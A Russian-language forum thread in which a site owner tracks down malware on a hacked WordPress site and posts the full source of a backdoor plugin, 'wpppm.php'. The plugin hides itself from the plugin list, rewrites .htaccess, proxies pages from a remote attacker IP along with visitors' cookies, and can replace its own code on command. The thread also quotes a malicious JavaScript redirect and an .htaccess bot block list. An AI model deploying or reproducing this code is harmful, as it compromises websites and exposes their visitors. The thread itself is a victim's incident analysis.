kpripper

kpripper
Рейтинг
152
Регистрация
16.07.2011
pasha061:
Есть плугин advanced permalinks. Там можно крутить пермалинками по условию как угодно

Установил, не вижу где там можно выбирать определенную категорию записей. Нашел только отдельное указание пермалинков для диапазона постов, которые указываются по ID.

Определил, что зараза в папке вп-контент. Щас я его накрою. Напишу еще раз, сочетания символов 146.185.220.110 в файлах сайта нет.

---------- Добавлено 03.03.2014 в 20:21 ----------

Сука обнаружена, /wp-content/plugins/wpppm/wpppm.php еще 16.01.2014 создан.

Исходный код засранца

<?php

/*

Plugin Name: Wordpress Plugin Manager

*/

function fourofour()

{

@error_reporting(error_reporting()&~E_NOTICE&~E_WARNING);

$tourl = 300;

$tofile = 3600;

$ver = 7;

$u = "http://146.185.220.75/v.html?v=$ver&h=" . urlencode($_SERVER['HTTP_HOST']);

$gz = function_exists("gzinflate");

$curl = function_exists("curl_init");

$cachedir = dirname(__FILE__) . "/.k";

@mkdir($cachedir);

$s = $_SERVER['HTTP_HOST'];

$fn = $cachedir . "/" . md5("1$s");

$cfn = $cachedir . "/" . md5("2$s");

$d = @file_get_contents($fn);

$c = (int)@file_get_contents($cfn);

if($setc=preg_match('#c([0-9l])+$#s', $_SERVER["REQUEST_URI"], $m))

{

$c = $m[1];

if($c=='l')

{

$start = microtime(1);

$rcnt = 0; $ecnt=0;

if(strtolower(substr(PHP_OS,0,3))!='win')

@system("rm -rf \"$cachedir\"");

@mkdir($cachedir);

$dh = @opendir($cachedir);

while($dh && $fn=readdir($dh))

{

if($fn=="." || $fn=="..") continue;

if(!@unlink("$cachedir/$fn"))

$ecnt++;

$rcnt++;

if($rcnt>=1000) break;

}

closedir($dh);

printf("%u %u", ($rcnt-$ecnt)?1:0, time());

exit;

}

file_put_contents($cfn, $c);

unset($d);

}

if(!$d || !($s=@stat($fn)) || $s["mtime"]<time()-$tourl)

{

$u .= "&c=$c";

if($d = @file_get_contents($u))

{

// update

if(preg_match('#^u:(.*)\s*$#s', $d, $m))

{

@file_put_contents(__FILE__, $m[1]);

header("Location: $_SERVER[REQUEST_URI]"); // reload

exit;

}

@file_put_contents($fn, $d);

}

}

if($setc)

exit($c);

if($d)

{

$d = preg_split("/\r?\n/s", trim($d));

srand((int)(microtime(1)*1000));

shuffle($d);

$d = array_pop($d);

$d = sprintf($d, $t);

$d = "http://$d";

$selfdir = str_replace('\\', '/', dirname($_SERVER["SCRIPT_NAME"]));

$path = preg_replace("#^" . $selfdir . "/#i", "", $_SERVER["REQUEST_URI"]);

$path = preg_replace("#^/(wordpress)#", "", $path);

$url = $d . $path;

if($_SERVER["QUERY_STRING"])

{

$cachedir = 0;

$url .= "?" . $_SERVER["QUERY_STRING"];

}

$cacheObj = false;

$cachefn = $cachedir . "/" . md5($d . strtolower($path) . $ver . $c);

if($cachedir && ($s=@stat($cachefn)) && time()-$s["mtime"]<$tofile)

{

$cacheObj = @unserialize(@file_get_contents($cachefn));

if($cacheObj)

{

$content = $cacheObj->content;

if($cacheObj->contentType)

header("Content-Type: $cacheObj->contentType");

}

}

if(!$cacheObj)

{

if($curl)

{

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);

curl_setopt($ch, CURLOPT_COOKIE, $_SERVER['HTTP_COOKIE']);

curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);

curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

@curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: $_SERVER[REMOTE_ADDR]", "X-WPM-Version: $ver"));

if($gz) curl_setopt($ch, CURLOPT_ENCODING, 'gzip');

$response = curl_exec($ch);

curl_close($ch);

list($http_response_header, $content) = explode("\r\n\r\n", $response, 2);

$http_response_header = explode("\r\n", $http_response_header);

}

else

{

$ctx = stream_context_create(array(

"http"=>array(

"method"=>"GET",

"follow_location"=>0,

"ignore_errors"=>1,

"user_agent"=>$_SERVER["HTTP_USER_AGENT"] . "\r\n" .

"Cookie: $_SERVER[HTTP_COOKIE]\r\n" .

"Referer: $_SERVER[HTTP_REFERER]\r\n" .

"X-Forwarded-For: $_SERVER[REMOTE_ADDR]"

,

"header"=>

($gz ? "Accept-Encoding: gzip\r\n" : "") .

"X-WPM-Version: $ver\r\n"

,

)));

$content = @file_get_contents($url, false, $ctx);

}

$cacheObj = new stdClass();

$cacheObj->status = array_shift($http_response_header);

foreach($http_response_header as $x)

{

list($n,$v) = preg_split("/:\s*/", $x);

switch(strtolower($n))

{

case "content-type":

$cacheObj->contentType = $v;

case "set-cookie":

header($x);

break;

case "location":

header($x);

print $content;

exit;

case "no-cache":

$cachedir = 0;

break;

case "content-encoding":

if($v=="gzip" && !$curl)

$content = gzinflate(substr($content, 10, -8));

break;

}

}

if(substr($content, -2)=="c0")

{

$cachedir = 0;

$content = substr($content, 0, -2);

}

if($cachedir)

{

@mkdir($cachedir);

$cacheObj->content = $content;

@file_put_contents($cachefn, serialize($cacheObj));

//$content = $content . " " . time();

}

}

header("HTTP/1.1 200 OK");

header("Status: 200 OK");

ob_start("ob_gzhandler");

exit($content);

}

}

function fourofour_pp($plugins)

{

foreach($plugins as $fn=>$p)

if(basename($fn)==basename(__FILE__))

unset($plugins[$fn]);

return $plugins;

}

function fourofour_i()

{

$rparts = preg_split('#[/\\\\]#', preg_replace('#/+$#', '', $_SERVER['DOCUMENT_ROOT']));

$parts = preg_split('#[/\\\\]#', dirname(__FILE__));

$rel = array();

$sdir = "";

for($i=0; count($parts)>=count($rparts); $i++)

{

$dir = join($parts, "/");

if(@file_exists("$dir/wp-settings.php"))

{

while(count($parts)>count($rparts))

array_unshift($rel, array_pop($parts));

$sdir = join("/", $rel);

break;

}

$dir = $sdir = "";

array_unshift($rel, array_pop($parts));

}

if($sdir)

{

$hta = trim(@file_get_contents("$dir/.htaccess"));

if(!preg_match('#BEGIN\s*WordPress.*RewriteRule.*END#si', $hta) && !strpos($hta, basename(__FILE__)))

{

$ed = "\nErrorDocument 404 /$sdir/" . basename(__FILE__) . "\n";

$hta = preg_replace('#(BEGIN\s*WordPress)#si', "\\1$ed", $hta);

if(!strpos($hta, basename(__FILE__)))

$hta .= "$ed";

@file_put_contents("$dir/.htaccess", $hta);

}

}

}

fourofour_i();

if(function_exists("add_action"))

{

add_action("404_template", "fourofour");

}

else

{

fourofour();

}

if(function_exists("add_filter"))

add_filter("all_plugins", "fourofour_pp");

return 1;

?>

---------- Добавлено 03.03.2014 в 20:22 ----------

Если я изменил все пароли, обновил вордпресс и плагины, я теперь в безопасности ?

---------- Добавлено 03.03.2014 в 20:35 ----------

Висит в свободном доступе это говно http://pastebin.com/8TLQ6Tpi

Пойдем логическим путем, ставлю новый вордпресс, потом заливаю туда текущую тему, потом бд. Смотрю, когда выплывет ошибка.

---------- Добавлено 03.03.2014 в 17:15 ----------

Зараза прячется не в теме. Заливаю бд.

Снова у компа, борьба продолжается )) Вот к примеру другой сайт на том хостинге http://www.zdorovv.ru/net.html - страница 404 работает.

Что такое айболит ?

---------- Добавлено 03.03.2014 в 15:12 ----------

Вот htaccess

php_value max_execution_time 60

php_value upload_max_filesize 15M

php_value magic_quotes_gpc 0

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_URI} ^(.+)/$

RewriteRule ^(.+)/$ /$1 [R=301,L]

# BEGIN WordPress

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteRule ^index\.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . /index.php [L]

</IfModule>

# END WordPress

## Блокировка по USER AGENT:

RewriteCond %{HTTP_USER_AGENT} MJ12bot [OR]

RewriteCond %{HTTP_USER_AGENT} Java [OR]

RewriteCond %{HTTP_USER_AGENT} NjuiceBot [OR]

RewriteCond %{HTTP_USER_AGENT} Gigabot [OR]

RewriteCond %{HTTP_USER_AGENT} Baiduspider [OR]

RewriteCond %{HTTP_USER_AGENT} JS-Kit [OR]

RewriteCond %{HTTP_USER_AGENT} Voyager [OR]

RewriteCond %{HTTP_USER_AGENT} PostRank [OR]

RewriteCond %{HTTP_USER_AGENT} PycURL [OR]

RewriteCond %{HTTP_USER_AGENT} Aport [OR]

RewriteCond %{HTTP_USER_AGENT} ia_archiver [OR]

RewriteCond %{HTTP_USER_AGENT} DotBot [OR]

RewriteCond %{HTTP_USER_AGENT} SurveyBot [OR]

RewriteCond %{HTTP_USER_AGENT} larbin [OR]

RewriteCond %{HTTP_USER_AGENT} Butterfly [OR]

RewriteCond %{HTTP_USER_AGENT} libwww [OR]

RewriteCond %{HTTP_USER_AGENT} Wget [OR]

RewriteCond %{HTTP_USER_AGENT} SWeb [OR]

RewriteCond %{HTTP_USER_AGENT} LinkExchanger [OR]

RewriteCond %{HTTP_USER_AGENT} Soup [OR]

RewriteCond %{HTTP_USER_AGENT} WordPress [OR]

RewriteCond %{HTTP_USER_AGENT} PHP/ [OR]

RewriteCond %{HTTP_USER_AGENT} spbot [OR]

RewriteCond %{HTTP_USER_AGENT} MLBot [OR]

RewriteCond %{HTTP_USER_AGENT} InternetSeer [OR]

RewriteCond %{HTTP_USER_AGENT} FairShare [OR]

RewriteCond %{HTTP_USER_AGENT} Yeti [OR]

RewriteCond %{HTTP_USER_AGENT} Birubot [OR]

RewriteCond %{HTTP_USER_AGENT} YottosBot [OR]

RewriteCond %{HTTP_USER_AGENT} gold\ crawler [OR]

RewriteCond %{HTTP_USER_AGENT} Linguee [OR]

RewriteCond %{HTTP_USER_AGENT} Ezooms [OR]

RewriteCond %{HTTP_USER_AGENT} lwp-trivial [OR]

RewriteCond %{HTTP_USER_AGENT} Purebot [OR]

RewriteCond %{HTTP_USER_AGENT} User-Agent [OR]

RewriteCond %{HTTP_USER_AGENT} kmSearchBot [OR]

RewriteCond %{HTTP_USER_AGENT} SiteBot [OR]

RewriteCond %{HTTP_USER_AGENT} CamontSpider [OR]

RewriteCond %{HTTP_USER_AGENT} ptd-crawler [OR]

RewriteCond %{HTTP_USER_AGENT} HTTrack [OR]

RewriteCond %{HTTP_USER_AGENT} suggybot [OR]

RewriteCond %{HTTP_USER_AGENT} ttCrawler [OR]

RewriteCond %{HTTP_USER_AGENT} Nutch [OR]

RewriteCond %{HTTP_USER_AGENT} bingbot [OR]

RewriteCond %{HTTP_USER_AGENT} msnbot [OR]

RewriteCond %{HTTP_USER_AGENT} Ezooms [OR]

RewriteCond %{HTTP_USER_AGENT} psbot [OR]

RewriteCond %{HTTP_USER_AGENT} msnbot-UDiscovery [OR]

RewriteCond %{HTTP_USER_AGENT} Flamingo_SearchEngine [OR]

RewriteCond %{HTTP_USER_AGENT} statdom.ru [OR]

RewriteCond %{HTTP_USER_AGENT} AhrefsBot [OR]

RewriteCond %{HTTP_USER_AGENT} MSNBot [OR]

RewriteCond %{HTTP_USER_AGENT} Zeus

RewriteRule ^(.*)$ – [F,L]

## USER IP BANNING

<Files 403.shtml>

order allow,deny

allow from all

</Files>

deny from 109.238.242.35

ну и дальше только список ип

---------- Добавлено 03.03.2014 в 15:28 ----------

Листаю огромные логи авторизации. Как в них найти IP, отличный от моего ?

---------- Добавлено 03.03.2014 в 16:34 ----------

Обновление и отключение всех плагинов ничего не дало.

Пока с телефона, завтра буду возле компа, займусь вопросом плотнее.

Есть у меня такой файл, ничего страшного там не вижу. Также не думаю, что проблема у хостера - рядом стоит другой сайт на вордпрессе, никаких проблем с ошибкой 404 нет.

Вордпресс обновил. В файлах вордпресса не найдено 146.185.220.110. Перенаправление работает в разных темах.

---------- Добавлено 02.03.2014 в 00:55 ----------

Пока запросил у хостера логи авторизаций по FTP, Cpanel, SSH. Но возможно это перенаправление уже давно существует. Есть возможность узнать, когда это началось ?

Вордпресс старый 3.3.2 , в htaccess ничего подозрительного нет. Пароли щас поменяю, но перенаправление от этого не исчезнет.

---------- Добавлено 01.03.2014 в 22:45 ----------

Greensneak:

И вот что за код на странице:
<!DOCTYPE html>
<html>
<head>
<script>
window.location.replace("http://146.185.220.110/i.html");

</script>
</head>
<body>

</body>
</html>

Вот с...ки !!

---------- Добавлено 01.03.2014 в 22:46 ----------

Это на какой странице нашли ?

kpripper:
Решил попробовать ePayService для сравнения с Приват24 в плане потери денег. Сегодня получил деньги в евро по одному чеку через Приватбанк. В результате на карте Приватбанка оказалась сумма на 4,48% меньшая, чем была в чеке. Другой чек на чуть большую сумму сейчас едет в Киев, на днях сообщу, сколько процентов там потерялось.

Пришли на вебмани деньги через ePayService - потери составили 3,27%. Еще в приватбанк. Примерно такая же будет комиссия.

А что с сайтом ? У меня просто точка в центре страницы.

<html>

<head></head>

<body>

<img class="decoded" src="http://www.trustlink.ru/sites/list" alt="http://www.trustlink.ru/sites/list"></img>

</body>

</html>

Через анонимайзер сайт открылся. Это как понимать ?

Всего: 277